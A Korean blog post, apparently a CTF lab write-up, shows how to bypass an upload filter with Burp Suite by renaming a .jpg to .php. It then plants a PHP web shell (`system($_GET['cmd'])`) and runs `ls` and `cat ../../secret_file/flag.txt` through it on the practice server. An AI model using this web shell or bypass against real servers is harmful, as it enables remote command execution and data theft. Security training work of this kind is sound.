본문 바로가기

보안지식/File Upload

File Upload - 실습 2번 풀이

안녕하세요 file upload 실습 문제인 2번을 풀어보겠습니다.

 

실습 페이지 입니다.

 

일단 로그인을 하고 일단 다운로드 경로부터 찾아보겠습니다.

 

텍스트 안되네요

 

 

그럼 jpg로 올려보겠습니다.

 

되네요!

 

그리고 다운로드 경로를 찾아보았더니

 

http://ctf.segfaulthub.com:7979/webshell_2/files/hello/123.jpg

 

이렇게 나오네요

 

그럼 php문 작성해서 올려보겠습니다.

 

 

<?php
	echo "Script Running!";
?>

 

 

안되네요

 

 

그런데 한 번 버프 스위트을 통해 다시 올려보겠습니다.

 

우선 스크립트 작성된 것을 jpg 형식으로 바꾸고 올린 다음 버프스위트 통해 보겠습니다.

 

 

이걸 php로 바꾸겠습니다.

 

 

이렇게요

 

그다음 send을 하면?

 

안된다고 나와요!

 

그런데 한 번 다운로드 경로 통해 찾아 들어가 보겠습니다.

 

http://ctf.segfaulthub.com:7979/webshell_2/files/hello/test.php

 

쨘!

 

버프 스위트 통해 jpg 형식을 php 형식으로 바꾸고 보내니깐 서버에는 안된다고 하는데 서버에 파일이 저장이 되네요!

 

이런 경우도 있죠. 안되면 저장이 안 돼야 되는데 저장이 되는 경우요

 

그럼 이제 웹 쉘을 이용해서 보내보겠습니다.

똑같이 우선 jpg로 형식을 저장한 후 보내고 버프스위트로 형식을 바꾸겠습니다.

 

 

<?php
	echo system($_GET['cmd']);
?>

 

이렇게요

 

그리고 send을 한 후 다운로드 경로 통해 cmd=ls을 보내보겠습니다.

 

쨘!

 

그리고 상위폴더를 찾아보고 중요한 데이터가 있을 만한 곳을 찾아보겠습니다.

 

저는 버프스위트가 편해서 버프스위트를 이용하겠습니다.

 

찾았네요!

 

../은 상위 폴더를 뜻하고요 +은 url 상에 띄어쓰기를 뜻합니다.

 

그리고 cat+../../secret_file/flag.txt 하면 이 실습페이지의 답이 나오게 됩니다

 

감사합니다!